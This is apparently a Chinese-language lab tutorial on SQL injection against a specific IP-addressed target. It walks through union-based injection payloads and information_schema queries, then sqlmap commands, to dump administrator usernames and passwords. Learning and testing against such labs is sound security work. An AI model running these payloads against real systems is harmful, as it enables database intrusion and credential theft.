1.目标URL:http://59.63.200.79:8003/?id=1
第一步判断是否存在SQL注入漏洞。
构造 ?id=1 and 1=1 ,回车
这里 %20 代表空格的意思。
页面正常,继续构造 ?id=1 and 1=2
页面不正常,则可以推断该页面存在SQL注入漏洞。
第二步判断字段数
构造?id=1 and 1=1 order by 1 ,回车
页面正常 ,
继续构造 ?id=1 and 1=1 order by 2 ,回车
页面正常,
继续构造 ?id=1 and 1=1 order by 3 ,回车
返回的页面不正常,判断出字段数应该是2。
第三步 判断回显位置
构造 ?id=1 and 1=2 union select 1,2
返回的页面中出现了2,那么我们可以在2处得到我们想得到的内容。
第四步 查询相关内容
查询当前数据库名
构造URL: ?id=1 and 1=2 union select database() ,回车
查询当前数据库版本
构造URL:?id=1 and 1=2 union select 1,version() ,回车
查询当前数据库 表名
构造URL: ?id=1 and 1=2 union select 1,table_name from information_schema.tables
where table_schema = database() limit 0,1 ,回车
绝大多数情况下,管理员的账户密码都在admin表里面。
查询字段名
构造?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 0,1
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 1,1
构造:?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 2,1
可以看出admin表里面一共有 id,username,password三个字段。
查询字段内容
构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1
构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1
至此,得到管理员的账户和密码。
不过通过手工的方式进行注入确实可以加深我们对原理的了解,不是单纯的“脚本小子”,不过在实际应用中我们可以借助工具进行快速的注入。
工具SQLMAP
1.SQLMAP
2.Python2.7
SQLMAP下载地址:http://sqlmap.org/
我这里用linux环境演示,解压后,进入文件夹内,执行 python sqlmap.py 即可。
根据目标URL:http://59.63.200.79:8003/?id=1
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 –batch
根据返回的结果,我们可以发现存在注入点。
获取全部数据库
执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs –batch
获取当前的数据库:
执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --current-db --batch
获取当前数据库里所有的表:
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables
–batch
获取表的字段:
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
--columns –batch
Dump字段内容
执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
-C"password,username" --dump --batch
至此,得到管理员账户和密码。